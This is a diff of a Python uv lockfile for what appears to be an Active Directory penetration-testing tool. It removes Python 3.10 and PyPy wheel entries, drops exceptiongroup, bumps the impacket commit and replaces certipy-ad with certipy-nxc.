{ url = "https://files.pythonhosted.org/packages/10/38/2c8dae407d301eaf942e377a5b2b30485cfa0df03c6c2dcc2ac044054ed9/cryptography-42.0.8-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7016f837e15b0a1c119d27ecd89b3515f01f90a8615ed5e9427e30d9cdbfed3d", size = 2801764, upload-time = "2024-06-04T19:54:25.455Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -773,18 +736,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/f0/29/41a6937ecc61812d09b9177a09c6f4a3edc499c0e227180d572a23e24e7b/dsinternals-1.2.5-py3-none-any.whl", hash = "sha256:25c544558381a86644fc6ef3b131f2a7450675b35e324553cb414b696d86d7bd", size = 200448, upload-time = "2026-02-01T20:43:59.674Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "exceptiongroup"
|
||||
version = "1.3.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "flake8"
|
||||
version = "7.3.0"
|
||||
@@ -822,13 +773,6 @@ version = "3.5.5"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/0b/d8/7cc97c142388aef03f622e001c572c4f84e9252a439549d483f555771970/greenlet-3.5.5.tar.gz", hash = "sha256:adb4bae02e91a8e863e48b177e4014bdcac8a6b5e047ea1df687a61534b85e6c", size = 207585, upload-time = "2026-08-10T15:09:36.136Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/07/67/07ecd6d85c0f253363cbc4ac9e7dd048ca571a267fbccfea084d6009ac3b/greenlet-3.5.5-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:816230f469381ad0a43abc9fa8dda5a699e32fb78958dde32ded93213b70a667", size = 292971, upload-time = "2026-08-10T13:28:09.837Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/24/35/426733bc24247ee17bb76df90f550c299ff5f8572b2bdd7cacb5c53fd994/greenlet-3.5.5-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5433cf291e0ef9114bd14d0d824db6e5e4a43033234bca48181a9597acca07b", size = 609290, upload-time = "2026-08-10T14:14:32.273Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/9c/dc/17d3a5acceb2fd0bbc9682a228117b719cdfb68085e6dbb33fa325755f27/greenlet-3.5.5-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:19d59f068887d8c5907fc177f27683413ace3011b6ed646c0b309266e74a6502", size = 622650, upload-time = "2026-08-10T14:27:22.004Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/51/91/00b3c0566316c6f383ea16ee05388ec4f57f6e0afa49e72ae471eda8c47f/greenlet-3.5.5-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9ff00e12102358292087274dfb1669132387ff6e7920ebf9d85f4826ce0d3a56", size = 622819, upload-time = "2026-08-10T13:40:46.562Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3c/78/52de4f7ac9152ad1dbc8f437895c1e573d30ee1e1427e0f91a280e2417b6/greenlet-3.5.5-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:523bb8e27614d77101ea7a8cf59f8d91219b72d5c29f6a038c92b50828bfa8d0", size = 1582164, upload-time = "2026-08-10T14:15:02.645Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f6/ff/c3855a00c2417e8f61c7b9f0bc4f8f599c6928f5c15681ad251e78a91e05/greenlet-3.5.5-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f1e2db190db51c17433eee424803818cf0670bf049d9cfe0dd07be111d1aa7c4", size = 1648807, upload-time = "2026-08-10T13:40:27.471Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/70/21/d29ff6a79dbd1ec1fe74c155d25d4c5a85e221d6b9ffc2cc7a709e7c8c39/greenlet-3.5.5-cp310-cp310-win_amd64.whl", hash = "sha256:740e544169527b82695ce76af2f7ad6f030904658f2f3921a1d245771fb88cfc", size = 322832, upload-time = "2026-08-10T13:28:10.85Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4e/a3/07297917485ee2ca85bc3c8dc6ed85ad3fffcf424047fba62671dba68e97/greenlet-3.5.5-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:be63afcbbccfad3dd95a1ba12ada84dab2ef32031973d80b5b92df67fa763a61", size = 294165, upload-time = "2026-08-10T13:25:17.987Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/db/51/6f732f9314cda54c5fd48a7620c7160f4f286967e8045ad94b9d66ce80b7/greenlet-3.5.5-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a268024ce2d7d2b04694bf1594058981a9fa663d1df4b762dee499211ed7c1c", size = 613610, upload-time = "2026-08-10T14:14:33.829Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d8/c0/b27589e25d220289edcd4d582b2b17b83058d1a56d53d971b6ea1a34f10d/greenlet-3.5.5-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:35cbb8bf55ace57fbccb4fb8622c4521713acd8691e77f4696d416ea7ca527da", size = 625481, upload-time = "2026-08-10T14:27:23.647Z" },
|
||||
@@ -934,8 +878,8 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "impacket"
|
||||
version = "0.14.0.dev0+20260909.31915.a2d35007"
|
||||
source = { git = "https://github.com/fortra/impacket#a2d35007c9717ce791f07efe99db63fd26386661" }
|
||||
version = "0.14.0.dev0+20261015.95810.75938fcb"
|
||||
source = { git = "https://github.com/fortra/impacket#75938fcb0145b476250940d740f71394676288cb" }
|
||||
dependencies = [
|
||||
{ name = "charset-normalizer" },
|
||||
{ name = "flask" },
|
||||
@@ -1046,22 +990,6 @@ version = "6.1.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/05/3b/aab6728cae887456f409b4d75e8a01856e4f04bd510de38052a47768b680/lxml-6.1.1.tar.gz", hash = "sha256:ba96ae44888e0185281e937633a743ea90d5a196c6000f82565ebb0580012d40", size = 4197430, upload-time = "2026-05-18T19:19:06.424Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/12/da/dbe4dfc01ac226fb0504fad035f4d69f3202f3502e20e68537631daddd96/lxml-6.1.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:09dd5b7075dc2f7709654a46543ba1ea3c2e217b2ed8fbd413a8a945a0f40f60", size = 8541124, upload-time = "2026-05-18T19:17:11.589Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/78/20/f7095ed9fc2c025f9cfe71cc6ec9f1feb05624edc1812423b5f1aecf3d4b/lxml-6.1.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f6ac4ef4d82dff54670227a69c67782ae0b811b5cf6b17954f1e8f7502fc0d1d", size = 4602783, upload-time = "2026-05-18T19:17:20.888Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4a/a4/65c63ca98bd129f6cff7b8c2fa48953ab058cc6005b541354e7dd54d8000/lxml-6.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:556e94a63c9b04716f8e4de2abb65775061f846e89331b6c5be79183a24f98ea", size = 5002687, upload-time = "2026-05-18T19:17:01.738Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/96/1d/ab7a5c4b5a394d98a94e2d0fc67bab8297597426770dd4978370fbdaf531/lxml-6.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5c6bf403fbb3b3e348a561a5f4f0b9961835657981c802a1df03653eef8a9074", size = 5155099, upload-time = "2026-05-18T19:17:05.159Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d0/b1/07603bfeeb891a2596d5c2a68f7d2f70f7d11c841ebe391412c69c2857b0/lxml-6.1.1-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1dde6131244bba38a17c745836ba190bc753fd73c9291666287fd0a3fa3dcf30", size = 5057225, upload-time = "2026-05-18T19:17:08.117Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7a/16/cb391ee4b90186fa16d9ebcbe3ea96c71b8da3b0686386c8dcbcc3c67d44/lxml-6.1.1-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98fc784c2c1440667aeedf8465bdfe10208acf0ead656a2c68627299f546b315", size = 5287643, upload-time = "2026-05-18T19:17:11.507Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/eb/d6/b619717f918fd76747448fdbaee0e769edbc70e659b5b5d0112b7020b7a3/lxml-6.1.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:add8cf6ddf9a65116119a28ece0f7886e30af27ba724a7594305f1d1b58a92a1", size = 5412445, upload-time = "2026-05-18T19:17:22.182Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c6/80/12bc5390ac0a3edeb579d9535e5049a5dda663438728e179d52fb319c33a/lxml-6.1.1-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:cf9d57306d848218f3601fee7601fab1a327c942d56e2e97610583cb4dd74206", size = 4770864, upload-time = "2026-05-18T19:17:26.851Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0b/59/6500c09da3137f54f020e908d81cfc5ee3e8888e908fd380207afad7c2e6/lxml-6.1.1-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:88136950da4d13c318bde414ce10219931937851327f44328f2df4d2c4614067", size = 5359594, upload-time = "2026-05-18T19:17:32.527Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f2/9b/f64b4cc6b7ebcf75d95af3cde934d254b5f2f10d4163928d838d86b6eb48/lxml-6.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cecdd5dfdc87b1fd87dbf81d4b037a544f47f4c744200a67013771682d67686a", size = 5107713, upload-time = "2026-05-18T19:17:04.402Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/16/19/c7388ad5d3a72315d2832dc1458cbf4f2af7f2b990b606ff4876efd04511/lxml-6.1.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:cd312b9692e831d2ffcad61eab31d91d4b4655a962e61de8fb410472cbcd37aa", size = 4803973, upload-time = "2026-05-18T19:17:06.545Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3f/22/76197f0bbf165f0b9e75be59be4997e5259cde973f12f098c1b54c7f5d60/lxml-6.1.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:5b7328b46d49fc9477d91ae8f6d55340347d827b7734ba3ea33faae0efef1383", size = 5349925, upload-time = "2026-05-18T19:17:09.743Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/24/52/d2a0cfeccb9bcdc47c7ee05cdae5d69b48c9acf20997790a6338bb0d0b3b/lxml-6.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:37a58976370f36d9329d118ad0b953c5aeb9119ac9c6a4e258942a225d0573a1", size = 5309825, upload-time = "2026-05-18T19:17:13.831Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/19/4a/b30944266776c2f49749ef2445aa7e78898194134b80ad776386f61b56ae/lxml-6.1.1-cp310-cp310-win32.whl", hash = "sha256:cea3f4c1af79af13cdb2da0c028111d8f8522d4f22a000c82385535f24e5cf3a", size = 3598402, upload-time = "2026-05-18T19:17:08.21Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/9e/97/33691c66a4d7ec1a5a98e7c909a5b83ee45c7f7ba4cf92b1c4cf26e98079/lxml-6.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:3abf332af33a74288675d936fe861fd4344da0dd6622193fbc4f2bfbb35536b5", size = 4021295, upload-time = "2026-05-18T19:17:28.638Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d0/5f/26a4dd0e12b9456ff7b12a21af5b491eb6629680d1edd73f4140fd386bcf/lxml-6.1.1-cp310-cp310-win_arm64.whl", hash = "sha256:8dadbe5b217ff35b6a8d16610dd710219b59b76d13f0e3f0d9f36786206e4485", size = 3667717, upload-time = "2026-05-19T19:22:44.474Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/62/b0/83f481780d1548750b8ce2ec824073deef2f452d9cd1a6faff8507e3d16d/lxml-6.1.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:53b7d2b7a10b1c35c0a5e21e9224accf60c1bbfba523990732e521b2b73adef2", size = 8526461, upload-time = "2026-05-18T19:17:25.862Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b9/d5/30fa0f808002c7329397bfbb24e306789c0b29f04aa5842c07b174b4216f/lxml-6.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ff3f333630ab480244a1bff72043e511a91eb22e7595dead8653ee5612dd8f3d", size = 4595375, upload-time = "2026-05-18T19:17:34.555Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4f/d2/edb71cf0e561581a7c5eb2626244320eb04e9f8ce6d563184fd668b45073/lxml-6.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a4bbea04c97f6d78a48e3fbc1cb9116d2780b1b39e03a23f6eb9b603fd61f510", size = 4923654, upload-time = "2026-05-18T19:17:42.917Z" },
|
||||
@@ -1176,17 +1104,6 @@ version = "3.0.3"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/e8/4b/3541d44f3937ba468b75da9eebcae497dcf67adb65caa16760b0a6807ebb/markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559", size = 11631, upload-time = "2025-09-27T18:36:05.558Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/98/1b/fbd8eed11021cabd9226c37342fa6ca4e8a98d8188a8d9b66740494960e4/markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419", size = 12057, upload-time = "2025-09-27T18:36:07.165Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/40/01/e560d658dc0bb8ab762670ece35281dec7b6c1b33f5fbc09ebb57a185519/markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695", size = 22050, upload-time = "2025-09-27T18:36:08.005Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/af/cd/ce6e848bbf2c32314c9b237839119c5a564a59725b53157c856e90937b7a/markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591", size = 20681, upload-time = "2025-09-27T18:36:08.881Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c9/2a/b5c12c809f1c3045c4d580b035a743d12fcde53cf685dbc44660826308da/markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c", size = 20705, upload-time = "2025-09-27T18:36:10.131Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/cf/e3/9427a68c82728d0a88c50f890d0fc072a1484de2f3ac1ad0bfc1a7214fd5/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f", size = 21524, upload-time = "2025-09-27T18:36:11.324Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bc/36/23578f29e9e582a4d0278e009b38081dbe363c5e7165113fad546918a232/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6", size = 20282, upload-time = "2025-09-27T18:36:12.573Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/56/21/dca11354e756ebd03e036bd8ad58d6d7168c80ce1fe5e75218e4945cbab7/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1", size = 20745, upload-time = "2025-09-27T18:36:13.504Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/87/99/faba9369a7ad6e4d10b6a5fbf71fa2a188fe4a593b15f0963b73859a1bbd/markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa", size = 14571, upload-time = "2025-09-27T18:36:14.779Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d6/25/55dc3ab959917602c96985cb1253efaa4ff42f71194bddeb61eb7278b8be/markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8", size = 15056, upload-time = "2025-09-27T18:36:16.125Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d0/9e/0a02226640c255d1da0b8d12e24ac2aa6734da68bff14c05dd53b94a0fc3/markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1", size = 13932, upload-time = "2025-09-27T18:36:17.311Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/08/db/fefacb2136439fc8dd20e797950e749aa1f4997ed584c62cfb8ef7c2be0e/markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad", size = 11631, upload-time = "2025-09-27T18:36:18.185Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e1/2e/5898933336b61975ce9dc04decbc0a7f2fee78c30353c5efba7f2d6ff27a/markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a", size = 12058, upload-time = "2025-09-27T18:36:19.444Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/1d/09/adf2df3699d87d1d8184038df46a9c80d78c0148492323f4693df54e17bb/markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50", size = 24287, upload-time = "2025-09-27T18:36:20.768Z" },
|
||||
@@ -1366,7 +1283,7 @@ dependencies = [
|
||||
{ name = "beautifulsoup4" },
|
||||
{ name = "bloodhound-ce" },
|
||||
{ name = "certihound" },
|
||||
{ name = "certipy-ad" },
|
||||
{ name = "certipy-nxc" },
|
||||
{ name = "cryptography" },
|
||||
{ name = "dploot" },
|
||||
{ name = "dsinternals" },
|
||||
@@ -1404,13 +1321,13 @@ dev = [
|
||||
|
||||
[package.metadata]
|
||||
requires-dist = [
|
||||
{ name = "aardwolf", specifier = ">=0.2.8" },
|
||||
{ name = "aardwolf", specifier = ">=0.2.16" },
|
||||
{ name = "argcomplete", specifier = ">=3.1.4" },
|
||||
{ name = "asyauth", specifier = ">=0.0.20" },
|
||||
{ name = "beautifulsoup4", specifier = ">=4.11,<5" },
|
||||
{ name = "bloodhound-ce", specifier = ">=1.8.0" },
|
||||
{ name = "certihound", specifier = ">=0.1.1" },
|
||||
{ name = "certipy-ad", git = "https://github.com/Pennyw0rth/Certipy" },
|
||||
{ name = "certipy-nxc", specifier = ">=5.1.0.post1" },
|
||||
{ name = "cryptography", specifier = ">=42.0.8" },
|
||||
{ name = "dploot", specifier = ">=4.0.0" },
|
||||
{ name = "dsinternals", specifier = ">=1.2.4" },
|
||||
@@ -1515,15 +1432,6 @@ version = "12.3.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce", size = 47025035, upload-time = "2026-07-01T11:56:38.965Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/25/c2/669d88644cddb1485bd9534e63e8cf476c8e51cb3c3a1297677023505c0e/pillow-12.3.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a", size = 5392418, upload-time = "2026-07-01T11:53:27.808Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6b/ba/3762f376a2948e3036488d773a146e0ae6ecc2ca03ac20e2615bd0b2ba02/pillow-12.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7", size = 4785287, upload-time = "2026-07-01T11:53:29.761Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/07/50/b5d688cc9c52d4482f3d5bcab6ce20bc2a74a85d2343841c907444a3be2c/pillow-12.3.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f", size = 6253754, upload-time = "2026-07-01T11:53:32.298Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4e/89/36f4cd76cf4baf05c50ababb976249153f18c959171c7f6ba09a6f217260/pillow-12.3.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f0606c8bf2cdefea14a43530f7657cbbb7ecf1c4222512492ef4a4434a9501ec", size = 6925605, upload-time = "2026-07-01T11:53:34.487Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/eb/c0/4de58cf6633b9e3a6061ef4be6fb91fc3c90b812ece886f531e3c523d777/pillow-12.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468", size = 6327788, upload-time = "2026-07-01T11:53:36.433Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/87/3c/14d53682a19550dbbaf3b598f807d5457646c510805a44c7d7891cd1cd1a/pillow-12.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed", size = 7036288, upload-time = "2026-07-01T11:53:38.712Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/38/1d/36279e3c77efe034e4cc2b0393ee74ffdb5a62391dacbf9b916154f5f0b8/pillow-12.3.0-cp310-cp310-win32.whl", hash = "sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1", size = 6472396, upload-time = "2026-07-01T11:53:40.781Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/48/7c/8fa0039574c476d7c6fa57dd7c32a130436877c6ec1e5ce1cc8ec44878c1/pillow-12.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb", size = 7226887, upload-time = "2026-07-01T11:53:42.764Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/fa/17/e324be141d173c1c919428066c3259f21c1b8982e564e01a4a81e96dbdcf/pillow-12.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f", size = 2568039, upload-time = "2026-07-01T11:53:45.372Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/fb/c8/0a78b0e02d7ac54bc03e5321c9220da52f0c2ea83b21f7c40e7f3169c502/pillow-12.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756", size = 5392415, upload-time = "2026-07-01T11:53:47.162Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b2/5b/a02d30018abd97ced9f5a6c63d28597694a00d066516b9c1c6de45859fc9/pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6", size = 4785266, upload-time = "2026-07-01T11:53:49.079Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c8/98/766667a4be768150a202836acd9fad19c06824ca86c4286d3cf6b274964e/pillow-12.3.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd", size = 6263814, upload-time = "2026-07-01T11:53:51.32Z" },
|
||||
@@ -1688,11 +1596,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/b8/2a/25e0be2b509c28375c7f75c7e8d8d060773f2cce4856a1654276e3202339/pycryptodome-3.22.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d21c1eda2f42211f18a25db4eaf8056c94a8563cd39da3683f89fe0d881fb772", size = 2262255, upload-time = "2025-03-15T23:02:58.055Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/41/58/60917bc4bbd91712e53ce04daf237a74a0ad731383a01288130672994328/pycryptodome-3.22.0-cp37-abi3-win32.whl", hash = "sha256:f02baa9f5e35934c6e8dcec91fcde96612bdefef6e442813b8ea34e82c84bbfb", size = 1763403, upload-time = "2025-03-15T23:03:00.616Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/55/f4/244c621afcf7867e23f63cfd7a9630f14cfe946c9be7e566af6c3915bcde/pycryptodome-3.22.0-cp37-abi3-win_amd64.whl", hash = "sha256:d086aed307e96d40c23c42418cbbca22ecc0ab4a8a0e24f87932eeab26c08627", size = 1794568, upload-time = "2025-03-15T23:03:03.189Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/37/c3/e3423e72669ca09f141aae493e1feaa8b8475859898b04f57078280a61c4/pycryptodome-3.22.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b4bdce34af16c1dcc7f8c66185684be15f5818afd2a82b75a4ce6b55f9783e13", size = 1618698, upload-time = "2025-03-15T23:03:11.163Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f9/b7/35eec0b3919cafea362dcb68bb0654d9cb3cde6da6b7a9d8480ce0bf203a/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2988ffcd5137dc2d27eb51cd18c0f0f68e5b009d5fec56fbccb638f90934f333", size = 1666957, upload-time = "2025-03-15T23:03:14.03Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b0/1f/f49bccdd8d61f1da4278eb0d6aee7f988f1a6ec4056b0c2dc51eda45ae27/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e653519dedcd1532788547f00eeb6108cc7ce9efdf5cc9996abce0d53f95d5a9", size = 1659242, upload-time = "2025-03-15T23:03:16.185Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/95/43/a01dcf1ed39c9a9e9c9d3f9d98040deeceedaa7cdf043e175251f2e13f44/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f5810bc7494e4ac12a4afef5a32218129e7d3890ce3f2b5ec520cc69eb1102ad", size = 1697246, upload-time = "2025-03-15T23:03:18.436Z" },
|
||||
